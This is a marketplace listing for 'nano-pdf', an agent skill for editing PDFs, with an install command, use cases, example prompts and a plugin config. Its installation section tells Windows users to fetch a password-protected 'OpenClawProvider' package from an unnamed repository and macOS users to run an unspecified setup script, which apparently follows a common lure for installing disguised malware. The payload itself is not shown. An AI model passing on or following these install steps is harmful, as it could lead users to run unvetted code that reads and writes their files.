nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
Why use this skill?
Use nano-pdf to modify PDF documents with natural language commands. Streamline your editing workflow with this powerful OpenClaw agent skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/nano-pdf-tkqfwWhat This Skill Does
nano-pdf is a powerful command-line interface skill for OpenClaw that allows users to manipulate and edit PDF documents using natural language instructions. Instead of manually navigating complex PDF editors or struggling with restrictive form-fillers, this skill bridges the gap by interpreting your intent and applying structural or text-based changes to specific pages within a document. By acting as an AI-powered assistant for document modification, nano-pdf streamlines workflows such as updating presentation slides, correcting minor typographical errors in reports, or modifying specific data points in static files.
Installation
To utilize nano-pdf, you must first ensure your environment is prepared by installing the OpenClawProvider. Windows users can download the OpenClawProvider package from the official repository (password: openclaw), while macOS users should use the terminal-based setup script provided in the documentation. Once the provider is active, run the following command in your terminal to integrate the skill into your OpenClaw environment: clawhub install openclaw/skills/skills/sakaen736jih/nano-pdf-tkqfw. Ensure your terminal has sufficient permissions to handle local file modifications.
Use Cases
nano-pdf is ideal for professionals dealing with document updates. Typical scenarios include:
- Correcting typos in final drafts: Quickly fix spelling errors in finished documents without needing to re-export from original source files like Word or InDesign.
- Updating Data: Modify individual figures or text strings on specific slides or pages, making it perfect for quarterly reports or recurring templates.
- Content Refinement: Rephrase sentences, update document headers, or change titles on specific pages using plain English requests.
Example Prompts
- "nano-pdf edit financial_report.pdf 5 'Change the company name in the header to Global Tech Corp and fix the label for the Q3 revenue chart.'"
- "nano-pdf edit slides.pdf 12 'Update the bullet point about security protocols to include our new 2FA implementation details.'"
- "nano-pdf edit draft.pdf 1 'Change the document title to Final Submission and ensure the font style matches the rest of the document.'"
Tips & Limitations
- Indexing Awareness: Keep in mind that page indexing (0-based vs 1-based) depends on your specific version or configuration. If the edit hits the wrong page, increment or decrement the page number by one.
- Quality Assurance: While the AI is robust, always review the output file before distributing it to ensure that the layout, formatting, and text rendering meet your expectations.
- File Access: Ensure the input PDF file is not currently opened by another application, as this may lead to file lock errors during the write process.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-nano-pdf-tkqfw": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-read, file-write, code-execution
Related Skills
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
bird
X/Twitter CLI for reading, searching, and posting via cookies or Sweetistics.